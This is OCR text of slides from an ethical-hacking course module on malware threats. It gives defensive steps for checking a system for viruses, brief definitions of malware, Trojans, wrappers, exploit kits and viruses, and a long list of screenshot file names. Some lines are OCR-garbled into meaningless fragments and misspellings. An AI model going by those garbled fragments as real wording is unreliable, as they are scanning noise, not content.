If any suspicious process, registry
entry, startup program or service is
discovered, check the associated
executable files

Collect more information about these
from publisher’s websites if available,
and Internet

Check the startup programs and
determine if all the programs in the
list can be recognized with known
functionalities

Check the data files for medification
or manipulation by opening several
files and comparing hash value of
these files with a pre-computed hash

Check the critical OS file modification
or manipulation using tools such as
TRIPWIRE or manually comparing hash
values if you have a backup copy
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Penetration Testing for Virus CEH
(Cont’d) St} RiH ek

If suspicious activity is
found, isolate infected
system from the network
immediately to prevent
further infection

suspicious . J§ : cpie
TN R TTIETTTITIEE TRRERE » System Is not infecte

found?

Run the anti-virus in safe
mode and if any virus is
detected, set the anti-virus
to quarantine or delete
infected files

Set the Anti-virus to
guarantine or delete
infected files
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Penetration Testing for Virus
(Cont’d)

Install another anti-virus and scan
the system for viruses

If virus is found set the anti-virus
to quarantine or delete the
infected files

If virus is not found, format the
system with a clean operating

system copy

Document all the findings in
previous steps; it helps in
determining the next action if
viruses are identified in the
system

Set the Anti-virus to
quarantine or delete
infected files
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" 'ﬁ;re is a malicious software that damages or disables computer systems and gives
limited or full control of the systems to the malware creator for the purpose of theft or fraud

[ Trojan is a program in which the malicious or harmful code is contained inside apparently harmiess
programming or data in such a way that it can get control and cause damage, such as ruining the
file allocation table on your hard disk

A wrapper binds a Trojan executable with an innocent looking .EXE application such as games or
office applications

An exploit kit or crimeware toolkit is a platform to deliver exploits and payload on the target system

Avirus is a self-replicating program that produces its own copy by attaching itself to another
program, computer boot sector or document

Viruses are categorized according to what do they infect and how do they infect
Awareness and preventive measures are the best defences against Trojans and viruses

Using anti-Trojan and anti-virus tools such as TrojanHunter and Emsisoft Anti-Malware to detect
and eliminate Trojans and viruses

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




	2015-11-03 10_03_12-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_13-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_14-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_15-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_16-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_17-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_18-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_19-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_20-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_21-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_22-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_23-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_24-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_25-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_26-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_27-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_28-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_29-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_30-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_31-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_32-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_33-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_34-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_35-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_36-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_37-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_38-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_39-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_40-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_41-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_42-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_43-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_44-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_45-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_46-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_47-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_48-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_49-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_50-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_51-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_52-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_53-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_54-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_55-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_56-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_57-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_58-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_03_59-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_00-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_01-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_02-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_03-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_04-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_05-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_06-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_07-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_08-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_09-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_10-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_11-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_12-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_13-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_14-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_15-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_16-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_17-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_18-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_19-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_20-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_21-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_22-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_23-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_24-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_25-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_26-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_27-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_28-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_29-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_31-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_32-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_33-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_34-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_35-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_36-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_37-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_38-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_39-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_40-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_41-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_42-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_43-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_44-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_45-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_46-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_47-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_48-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_49-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_50-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_51-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_52-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_53-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_54-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_55-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_56-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_57-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_58-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_04_59-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_00-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_01-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_02-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_03-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_04-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_05-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_06-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_07-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_08-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_09-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_10-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_11-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_12-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_13-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_14-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_15-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_16-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_17-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_18-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_20-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_21-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_22-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_23-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_24-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_25-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_26-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_27-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_28-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_29-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_30-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_31-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_32-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_33-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_34-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_36-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_37-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_38-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_39-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_41-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_42-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_43-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_44-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_45-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_46-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_47-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_48-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_49-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader
	2015-11-03 10_05_50-CEHv9 Module 06 Malware Threats.pdf (SECURED) - Adobe Reader

